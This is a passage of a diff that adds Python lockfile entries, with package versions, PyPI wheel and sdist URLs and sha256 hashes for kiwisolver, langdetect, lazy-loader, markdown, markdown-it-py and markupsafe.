"sha256:856b269c4d28a5c0d5e6c1955ec36ebfd1651ac00e1ce0afa3e28da95293b561", size = 66717, upload-time = "2024-12-24T18:28:54.256Z" }, + { url = "https://files.pythonhosted.org/packages/5f/b4/c12b3ac0852a3a68f94598d4c8d569f55361beef6159dce4e7b624160da2/kiwisolver-1.4.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c2b9a96e0f326205af81a15718a9073328df1173a2619a68553decb7097fd5d7", size = 65413, upload-time = "2024-12-24T18:28:55.184Z" }, + { url = "https://files.pythonhosted.org/packages/a9/98/1df4089b1ed23d83d410adfdc5947245c753bddfbe06541c4aae330e9e70/kiwisolver-1.4.8-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5020c83e8553f770cb3b5fc13faac40f17e0b205bd237aebd21d53d733adb03", size = 1343994, upload-time = "2024-12-24T18:28:57.493Z" }, + { url = "https://files.pythonhosted.org/packages/8d/bf/b4b169b050c8421a7c53ea1ea74e4ef9c335ee9013216c558a047f162d20/kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dace81d28c787956bfbfbbfd72fdcef014f37d9b48830829e488fdb32b49d954", size = 1434804, upload-time = "2024-12-24T18:29:00.077Z" }, + { url = "https://files.pythonhosted.org/packages/66/5a/e13bd341fbcf73325ea60fdc8af752addf75c5079867af2e04cc41f34434/kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:11e1022b524bd48ae56c9b4f9296bce77e15a2e42a502cceba602f804b32bb79", size = 1450690, upload-time = "2024-12-24T18:29:01.401Z" }, + { url = "https://files.pythonhosted.org/packages/9b/4f/5955dcb376ba4a830384cc6fab7d7547bd6759fe75a09564910e9e3bb8ea/kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b9b4d2892fefc886f30301cdd80debd8bb01ecdf165a449eb6e78f79f0fabd6", size = 1376839, upload-time = "2024-12-24T18:29:02.685Z" }, + { url = "https://files.pythonhosted.org/packages/3a/97/5edbed69a9d0caa2e4aa616ae7df8127e10f6586940aa683a496c2c280b9/kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a96c0e790ee875d65e340ab383700e2b4891677b7fcd30a699146f9384a2bb0", size = 1435109, upload-time = "2024-12-24T18:29:04.113Z" }, + { url = "https://files.pythonhosted.org/packages/13/fc/e756382cb64e556af6c1809a1bbb22c141bbc2445049f2da06b420fe52bf/kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:23454ff084b07ac54ca8be535f4174170c1094a4cff78fbae4f73a4bcc0d4dab", size = 2245269, upload-time = "2024-12-24T18:29:05.488Z" }, + { url = "https://files.pythonhosted.org/packages/76/15/e59e45829d7f41c776d138245cabae6515cb4eb44b418f6d4109c478b481/kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:87b287251ad6488e95b4f0b4a79a6d04d3ea35fde6340eb38fbd1ca9cd35bbbc", size = 2393468, upload-time = "2024-12-24T18:29:06.79Z" }, + { url = "https://files.pythonhosted.org/packages/e9/39/483558c2a913ab8384d6e4b66a932406f87c95a6080112433da5ed668559/kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b21dbe165081142b1232a240fc6383fd32cdd877ca6cc89eab93e5f5883e1c25", size = 2355394, upload-time = "2024-12-24T18:29:08.24Z" }, + { url = "https://files.pythonhosted.org/packages/01/aa/efad1fbca6570a161d29224f14b082960c7e08268a133fe5dc0f6906820e/kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:768cade2c2df13db52475bd28d3a3fac8c9eff04b0e9e2fda0f3760f20b3f7fc", size = 2490901, upload-time = "2024-12-24T18:29:09.653Z" }, + { url = "https://files.pythonhosted.org/packages/c9/4f/15988966ba46bcd5ab9d0c8296914436720dd67fca689ae1a75b4ec1c72f/kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d47cfb2650f0e103d4bf68b0b5804c68da97272c84bb12850d877a95c056bd67", size = 2312306, upload-time = "2024-12-24T18:29:12.644Z" }, + { url = "https://files.pythonhosted.org/packages/2d/27/bdf1c769c83f74d98cbc34483a972f221440703054894a37d174fba8aa68/kiwisolver-1.4.8-cp311-cp311-win_amd64.whl", hash = "sha256:ed33ca2002a779a2e20eeb06aea7721b6e47f2d4b8a8ece979d8ba9e2a167e34", size = 71966, upload-time = "2024-12-24T18:29:14.089Z" }, + { url = "https://files.pythonhosted.org/packages/4a/c9/9642ea855604aeb2968a8e145fc662edf61db7632ad2e4fb92424be6b6c0/kiwisolver-1.4.8-cp311-cp311-win_arm64.whl", hash = "sha256:16523b40aab60426ffdebe33ac374457cf62863e330a90a0383639ce14bf44b2", size = 65311, upload-time = "2024-12-24T18:29:15.892Z" }, + { url = "https://files.pythonhosted.org/packages/fc/aa/cea685c4ab647f349c3bc92d2daf7ae34c8e8cf405a6dcd3a497f58a2ac3/kiwisolver-1.4.8-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d6af5e8815fd02997cb6ad9bbed0ee1e60014438ee1a5c2444c96f87b8843502", size = 124152, upload-time = "2024-12-24T18:29:16.85Z" }, + { url = "https://files.pythonhosted.org/packages/c5/0b/8db6d2e2452d60d5ebc4ce4b204feeb16176a851fd42462f66ade6808084/kiwisolver-1.4.8-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bade438f86e21d91e0cf5dd7c0ed00cda0f77c8c1616bd83f9fc157fa6760d31", size = 66555, upload-time = "2024-12-24T18:29:19.146Z" }, + { url = "https://files.pythonhosted.org/packages/60/26/d6a0db6785dd35d3ba5bf2b2df0aedc5af089962c6eb2cbf67a15b81369e/kiwisolver-1.4.8-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b83dc6769ddbc57613280118fb4ce3cd08899cc3369f7d0e0fab518a7cf37fdb", size = 65067, upload-time = "2024-12-24T18:29:20.096Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ed/1d97f7e3561e09757a196231edccc1bcf59d55ddccefa2afc9c615abd8e0/kiwisolver-1.4.8-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:111793b232842991be367ed828076b03d96202c19221b5ebab421ce8bcad016f", size = 1378443, upload-time = "2024-12-24T18:29:22.843Z" }, + { url = "https://files.pythonhosted.org/packages/29/61/39d30b99954e6b46f760e6289c12fede2ab96a254c443639052d1b573fbc/kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:257af1622860e51b1a9d0ce387bf5c2c4f36a90594cb9514f55b074bcc787cfc", size = 1472728, upload-time = "2024-12-24T18:29:24.463Z" }, + { url = "https://files.pythonhosted.org/packages/0c/3e/804163b932f7603ef256e4a715e5843a9600802bb23a68b4e08c8c0ff61d/kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:69b5637c3f316cab1ec1c9a12b8c5f4750a4c4b71af9157645bf32830e39c03a", size = 1478388, upload-time = "2024-12-24T18:29:25.776Z" }, + { url = "https://files.pythonhosted.org/packages/8a/9e/60eaa75169a154700be74f875a4d9961b11ba048bef315fbe89cb6999056/kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:782bb86f245ec18009890e7cb8d13a5ef54dcf2ebe18ed65f795e635a96a1c6a", size = 1413849, upload-time = "2024-12-24T18:29:27.202Z" }, + { url = "https://files.pythonhosted.org/packages/bc/b3/9458adb9472e61a998c8c4d95cfdfec91c73c53a375b30b1428310f923e4/kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc978a80a0db3a66d25767b03688f1147a69e6237175c0f4ffffaaedf744055a", size = 1475533, upload-time = "2024-12-24T18:29:28.638Z" }, + { url = "https://files.pythonhosted.org/packages/e4/7a/0a42d9571e35798de80aef4bb43a9b672aa7f8e58643d7bd1950398ffb0a/kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:36dbbfd34838500a31f52c9786990d00150860e46cd5041386f217101350f0d3", size = 2268898, upload-time = "2024-12-24T18:29:30.368Z" }, + { url = "https://files.pythonhosted.org/packages/d9/07/1255dc8d80271400126ed8db35a1795b1a2c098ac3a72645075d06fe5c5d/kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:eaa973f1e05131de5ff3569bbba7f5fd07ea0595d3870ed4a526d486fe57fa1b", size = 2425605, upload-time = "2024-12-24T18:29:33.151Z" }, + { url = "https://files.pythonhosted.org/packages/84/df/5a3b4cf13780ef6f6942df67b138b03b7e79e9f1f08f57c49957d5867f6e/kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a66f60f8d0c87ab7f59b6fb80e642ebb29fec354a4dfad687ca4092ae69d04f4", size = 2375801, upload-time = "2024-12-24T18:29:34.584Z" }, + { url = "https://files.pythonhosted.org/packages/8f/10/2348d068e8b0f635c8c86892788dac7a6b5c0cb12356620ab575775aad89/kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:858416b7fb777a53f0c59ca08190ce24e9abbd3cffa18886a5781b8e3e26f65d", size = 2520077, upload-time = "2024-12-24T18:29:36.138Z" }, + { url = "https://files.pythonhosted.org/packages/32/d8/014b89fee5d4dce157d814303b0fce4d31385a2af4c41fed194b173b81ac/kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:085940635c62697391baafaaeabdf3dd7a6c3643577dde337f4d66eba021b2b8", size = 2338410, upload-time = "2024-12-24T18:29:39.991Z" }, + { url = "https://files.pythonhosted.org/packages/bd/72/dfff0cc97f2a0776e1c9eb5bef1ddfd45f46246c6533b0191887a427bca5/kiwisolver-1.4.8-cp312-cp312-win_amd64.whl", hash = "sha256:01c3d31902c7db5fb6182832713d3b4122ad9317c2c5877d0539227d96bb2e50", size = 71853, upload-time = "2024-12-24T18:29:42.006Z" }, + { url = "https://files.pythonhosted.org/packages/dc/85/220d13d914485c0948a00f0b9eb419efaf6da81b7d72e88ce2391f7aed8d/kiwisolver-1.4.8-cp312-cp312-win_arm64.whl", hash = "sha256:a3c44cb68861de93f0c4a8175fbaa691f0aa22550c331fefef02b618a9dcb476", size = 65424, upload-time = "2024-12-24T18:29:44.38Z" }, + { url = "https://files.pythonhosted.org/packages/79/b3/e62464a652f4f8cd9006e13d07abad844a47df1e6537f73ddfbf1bc997ec/kiwisolver-1.4.8-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:1c8ceb754339793c24aee1c9fb2485b5b1f5bb1c2c214ff13368431e51fc9a09", size = 124156, upload-time = "2024-12-24T18:29:45.368Z" }, + { url = "https://files.pythonhosted.org/packages/8d/2d/f13d06998b546a2ad4f48607a146e045bbe48030774de29f90bdc573df15/kiwisolver-1.4.8-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:54a62808ac74b5e55a04a408cda6156f986cefbcf0ada13572696b507cc92fa1", size = 66555, upload-time = "2024-12-24T18:29:46.37Z" }, + { url = "https://files.pythonhosted.org/packages/59/e3/b8bd14b0a54998a9fd1e8da591c60998dc003618cb19a3f94cb233ec1511/kiwisolver-1.4.8-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:68269e60ee4929893aad82666821aaacbd455284124817af45c11e50a4b42e3c", size = 65071, upload-time = "2024-12-24T18:29:47.333Z" }, + { url = "https://files.pythonhosted.org/packages/f0/1c/6c86f6d85ffe4d0ce04228d976f00674f1df5dc893bf2dd4f1928748f187/kiwisolver-1.4.8-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34d142fba9c464bc3bbfeff15c96eab0e7310343d6aefb62a79d51421fcc5f1b", size = 1378053, upload-time = "2024-12-24T18:29:49.636Z" }, + { url = "https://files.pythonhosted.org/packages/4e/b9/1c6e9f6dcb103ac5cf87cb695845f5fa71379021500153566d8a8a9fc291/kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ddc373e0eef45b59197de815b1b28ef89ae3955e7722cc9710fb91cd77b7f47", size = 1472278, upload-time = "2024-12-24T18:29:51.164Z" }, + { url = "https://files.pythonhosted.org/packages/ee/81/aca1eb176de671f8bda479b11acdc42c132b61a2ac861c883907dde6debb/kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:77e6f57a20b9bd4e1e2cedda4d0b986ebd0216236f0106e55c28aea3d3d69b16", size = 1478139, upload-time = "2024-12-24T18:29:52.594Z" }, + { url = "https://files.pythonhosted.org/packages/49/f4/e081522473671c97b2687d380e9e4c26f748a86363ce5af48b4a28e48d06/kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:08e77738ed7538f036cd1170cbed942ef749137b1311fa2bbe2a7fda2f6bf3cc", size = 1413517, upload-time = "2024-12-24T18:29:53.941Z" }, + { url = "https://files.pythonhosted.org/packages/8f/e9/6a7d025d8da8c4931522922cd706105aa32b3291d1add8c5427cdcd66e63/kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5ce1e481a74b44dd5e92ff03ea0cb371ae7a0268318e202be06c8f04f4f1246", size = 1474952, upload-time = "2024-12-24T18:29:56.523Z" }, + { url = "https://files.pythonhosted.org/packages/82/13/13fa685ae167bee5d94b415991c4fc7bb0a1b6ebea6e753a87044b209678/kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fc2ace710ba7c1dfd1a3b42530b62b9ceed115f19a1656adefce7b1782a37794", size = 2269132, upload-time = "2024-12-24T18:29:57.989Z" }, + { url = "https://files.pythonhosted.org/packages/ef/92/bb7c9395489b99a6cb41d502d3686bac692586db2045adc19e45ee64ed23/kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3452046c37c7692bd52b0e752b87954ef86ee2224e624ef7ce6cb21e8c41cc1b", size = 2425997, upload-time = "2024-12-24T18:29:59.393Z" }, + { url = "https://files.pythonhosted.org/packages/ed/12/87f0e9271e2b63d35d0d8524954145837dd1a6c15b62a2d8c1ebe0f182b4/kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7e9a60b50fe8b2ec6f448fe8d81b07e40141bfced7f896309df271a0b92f80f3", size = 2376060, upload-time = "2024-12-24T18:30:01.338Z" }, + { url = "https://files.pythonhosted.org/packages/02/6e/c8af39288edbce8bf0fa35dee427b082758a4b71e9c91ef18fa667782138/kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:918139571133f366e8362fa4a297aeba86c7816b7ecf0bc79168080e2bd79957", size = 2520471, upload-time = "2024-12-24T18:30:04.574Z" }, + { url = "https://files.pythonhosted.org/packages/13/78/df381bc7b26e535c91469f77f16adcd073beb3e2dd25042efd064af82323/kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e063ef9f89885a1d68dd8b2e18f5ead48653176d10a0e324e3b0030e3a69adeb", size = 2338793, upload-time = "2024-12-24T18:30:06.25Z" }, + { url = "https://files.pythonhosted.org/packages/d0/dc/c1abe38c37c071d0fc71c9a474fd0b9ede05d42f5a458d584619cfd2371a/kiwisolver-1.4.8-cp313-cp313-win_amd64.whl", hash = "sha256:a17b7c4f5b2c51bb68ed379defd608a03954a1845dfed7cc0117f1cc8a9b7fd2", size = 71855, upload-time = "2024-12-24T18:30:07.535Z" }, + { url = "https://files.pythonhosted.org/packages/a0/b6/21529d595b126ac298fdd90b705d87d4c5693de60023e0efcb4f387ed99e/kiwisolver-1.4.8-cp313-cp313-win_arm64.whl", hash = "sha256:3cd3bc628b25f74aedc6d374d5babf0166a92ff1317f46267f12d2ed54bc1d30", size = 65430, upload-time = "2024-12-24T18:30:08.504Z" }, + { url = "https://files.pythonhosted.org/packages/34/bd/b89380b7298e3af9b39f49334e3e2a4af0e04819789f04b43d560516c0c8/kiwisolver-1.4.8-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:370fd2df41660ed4e26b8c9d6bbcad668fbe2560462cba151a721d49e5b6628c", size = 126294, upload-time = "2024-12-24T18:30:09.508Z" }, + { url = "https://files.pythonhosted.org/packages/83/41/5857dc72e5e4148eaac5aa76e0703e594e4465f8ab7ec0fc60e3a9bb8fea/kiwisolver-1.4.8-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:84a2f830d42707de1d191b9490ac186bf7997a9495d4e9072210a1296345f7dc", size = 67736, upload-time = "2024-12-24T18:30:11.039Z" }, + { url = "https://files.pythonhosted.org/packages/e1/d1/be059b8db56ac270489fb0b3297fd1e53d195ba76e9bbb30e5401fa6b759/kiwisolver-1.4.8-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:7a3ad337add5148cf51ce0b55642dc551c0b9d6248458a757f98796ca7348712", size = 66194, upload-time = "2024-12-24T18:30:14.886Z" }, + { url = "https://files.pythonhosted.org/packages/e1/83/4b73975f149819eb7dcf9299ed467eba068ecb16439a98990dcb12e63fdd/kiwisolver-1.4.8-cp313-cp313t-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7506488470f41169b86d8c9aeff587293f530a23a23a49d6bc64dab66bedc71e", size = 1465942, upload-time = "2024-12-24T18:30:18.927Z" }, + { url = "https://files.pythonhosted.org/packages/c7/2c/30a5cdde5102958e602c07466bce058b9d7cb48734aa7a4327261ac8e002/kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2f0121b07b356a22fb0414cec4666bbe36fd6d0d759db3d37228f496ed67c880", size = 1595341, upload-time = "2024-12-24T18:30:22.102Z" }, + { url = "https://files.pythonhosted.org/packages/ff/9b/1e71db1c000385aa069704f5990574b8244cce854ecd83119c19e83c9586/kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d6d6bd87df62c27d4185de7c511c6248040afae67028a8a22012b010bc7ad062", size = 1598455, upload-time = "2024-12-24T18:30:24.947Z" }, + { url = "https://files.pythonhosted.org/packages/85/92/c8fec52ddf06231b31cbb779af77e99b8253cd96bd135250b9498144c78b/kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:291331973c64bb9cce50bbe871fb2e675c4331dab4f31abe89f175ad7679a4d7", size = 1522138, upload-time = "2024-12-24T18:30:26.286Z" }, + { url = "https://files.pythonhosted.org/packages/0b/51/9eb7e2cd07a15d8bdd976f6190c0164f92ce1904e5c0c79198c4972926b7/kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:893f5525bb92d3d735878ec00f781b2de998333659507d29ea4466208df37bed", size = 1582857, upload-time = "2024-12-24T18:30:28.86Z" }, + { url = "https://files.pythonhosted.org/packages/0f/95/c5a00387a5405e68ba32cc64af65ce881a39b98d73cc394b24143bebc5b8/kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:b47a465040146981dc9db8647981b8cb96366fbc8d452b031e4f8fdffec3f26d", size = 2293129, upload-time = "2024-12-24T18:30:30.34Z" }, + { url = "https://files.pythonhosted.org/packages/44/83/eeb7af7d706b8347548313fa3a3a15931f404533cc54fe01f39e830dd231/kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:99cea8b9dd34ff80c521aef46a1dddb0dcc0283cf18bde6d756f1e6f31772165", size = 2421538, upload-time = "2024-12-24T18:30:33.334Z" }, + { url = "https://files.pythonhosted.org/packages/05/f9/27e94c1b3eb29e6933b6986ffc5fa1177d2cd1f0c8efc5f02c91c9ac61de/kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:151dffc4865e5fe6dafce5480fab84f950d14566c480c08a53c663a0020504b6", size = 2390661, upload-time = "2024-12-24T18:30:34.939Z" }, + { url = "https://files.pythonhosted.org/packages/d9/d4/3c9735faa36ac591a4afcc2980d2691000506050b7a7e80bcfe44048daa7/kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:577facaa411c10421314598b50413aa1ebcf5126f704f1e5d72d7e4e9f020d90", size = 2546710, upload-time = "2024-12-24T18:30:37.281Z" }, + { url = "https://files.pythonhosted.org/packages/4c/fa/be89a49c640930180657482a74970cdcf6f7072c8d2471e1babe17a222dc/kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:be4816dc51c8a471749d664161b434912eee82f2ea66bd7628bd14583a833e85", size = 2349213, upload-time = "2024-12-24T18:30:40.019Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f9/ae81c47a43e33b93b0a9819cac6723257f5da2a5a60daf46aa5c7226ea85/kiwisolver-1.4.8-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e7a019419b7b510f0f7c9dceff8c5eae2392037eae483a7f9162625233802b0a", size = 60403, upload-time = "2024-12-24T18:30:41.372Z" }, + { url = "https://files.pythonhosted.org/packages/58/ca/f92b5cb6f4ce0c1ebfcfe3e2e42b96917e16f7090e45b21102941924f18f/kiwisolver-1.4.8-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:286b18e86682fd2217a48fc6be6b0f20c1d0ed10958d8dc53453ad58d7be0bf8", size = 58657, upload-time = "2024-12-24T18:30:42.392Z" }, + { url = "https://files.pythonhosted.org/packages/80/28/ae0240f732f0484d3a4dc885d055653c47144bdf59b670aae0ec3c65a7c8/kiwisolver-1.4.8-pp310-pypy310_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4191ee8dfd0be1c3666ccbac178c5a05d5f8d689bbe3fc92f3c4abec817f8fe0", size = 84948, upload-time = "2024-12-24T18:30:44.703Z" }, + { url = "https://files.pythonhosted.org/packages/5d/eb/78d50346c51db22c7203c1611f9b513075f35c4e0e4877c5dde378d66043/kiwisolver-1.4.8-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7cd2785b9391f2873ad46088ed7599a6a71e762e1ea33e87514b1a441ed1da1c", size = 81186, upload-time = "2024-12-24T18:30:45.654Z" }, + { url = "https://files.pythonhosted.org/packages/43/f8/7259f18c77adca88d5f64f9a522792e178b2691f3748817a8750c2d216ef/kiwisolver-1.4.8-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c07b29089b7ba090b6f1a669f1411f27221c3662b3a1b7010e67b59bb5a6f10b", size = 80279, upload-time = "2024-12-24T18:30:47.951Z" }, + { url = "https://files.pythonhosted.org/packages/3a/1d/50ad811d1c5dae091e4cf046beba925bcae0a610e79ae4c538f996f63ed5/kiwisolver-1.4.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:65ea09a5a3faadd59c2ce96dc7bf0f364986a315949dc6374f04396b0d60e09b", size = 71762, upload-time = "2024-12-24T18:30:48.903Z" }, +] + +[[package]] +name = "langdetect" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0e/72/a3add0e4eec4eb9e2569554f7c70f4a3c27712f40e3284d483e88094cc0e/langdetect-1.0.9.tar.gz", hash = "sha256:cbc1fef89f8d062739774bd51eda3da3274006b3661d199c2655f6b3f6d605a0", size = 981474, upload-time = "2021-05-07T07:54:13.562Z" } + +[[package]] +name = "lazy-loader" +version = "0.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6f/6b/c875b30a1ba490860c93da4cabf479e03f584eba06fe5963f6f6644653d8/lazy_loader-0.4.tar.gz", hash = "sha256:47c75182589b91a4e1a85a136c074285a5ad4d9f39c63e0d7fb76391c4574cd1", size = 15431, upload-time = "2024-04-05T13:03:12.261Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/60/d497a310bde3f01cb805196ac61b7ad6dc5dcf8dce66634dc34364b20b4f/lazy_loader-0.4-py3-none-any.whl", hash = "sha256:342aa8e14d543a154047afb4ba8ef17f5563baad3fc610d7b15b213b0f119efc", size = 12097, upload-time = "2024-04-05T13:03:10.514Z" }, +] + +[[package]] +name = "markdown" +version = "3.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2f/15/222b423b0b88689c266d9eac4e61396fe2cc53464459d6a37618ac863b24/markdown-3.8.tar.gz", hash = "sha256:7df81e63f0df5c4b24b7d156eb81e4690595239b7d70937d0409f1b0de319c6f", size = 360906, upload-time = "2025-04-11T14:42:50.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/3f/afe76f8e2246ffbc867440cbcf90525264df0e658f8a5ca1f872b3f6192a/markdown-3.8-py3-none-any.whl", hash = "sha256:794a929b79c5af141ef5ab0f2f642d0f7b1872981250230e72682346f7cc90dc", size = 106210, upload-time = "2025-04-11T14:42:49.178Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/38/71/3b932df36c1a044d397a1f92d1cf91ee0a503d91e470cbd670aa66b07ed0/markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb", size = 74596, upload-time = "2023-06-03T06:41:14.443Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/d7/1ec15b46af6af88f19b8e5ffea08fa375d433c998b8a7639e76935c14f1f/markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1", size = 87528, upload-time = "2023-06-03T06:41:11.019Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/90/d08277ce111dd22f77149fd1a5d4653eeb3b3eaacbdfcbae5afb2600eebd/MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8", size = 14357, upload-time = "2024-10-18T15:20:51.44Z" }, + { url = "https://files.pythonhosted.org/packages/04/e1/6e2194baeae0bca1fae6629dc0cbbb968d4d941469cbab11a3872edff374/MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158", size = 12393, upload-time = "2024-10-18T15:20:52.426Z" }, + { url = "https://files.pythonhosted.org/packages/1d/69/35fa85a8ece0a437493dc61ce0bb6d459dcba482c34197e3efc829aa357f/MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579", size = 21732, upload-time = "2024-10-18T15:20:53.578Z" }, + { url = "https://files.pythonhosted.org/packages/22/35/137da042dfb4720b638d2937c38a9c2df83fe32d20e8c8f3185dbfef05f7/MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d", size = 20866, upload-time = "2024-10-18T15:20:55.06Z" }, + { url = "https://files.pythonhosted.org/packages/29/28/6d029a903727a1b62edb51863232152fd335d602def598dade38996887f0/MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb", size = 20964, upload-time = "2024-10-18T15:20:55.906Z" }, + { url = "https://files.pythonhosted.org/packages/cc/cd/07438f95f83e8bc028279909d9c9bd39e24149b0d60053a97b2bc4f8aa51/MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b", size = 21977, upload-time = "2024-10-18T15:20:57.189Z" }, + { url = "https://files.pythonhosted.org/packages/29/01/84b57395b4cc062f9c4c55ce0df7d3108ca32397299d9df00fedd9117d3d/MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c", size = 21366, upload-time = "2024-10-18T15:20:58.235Z" }, + { url = 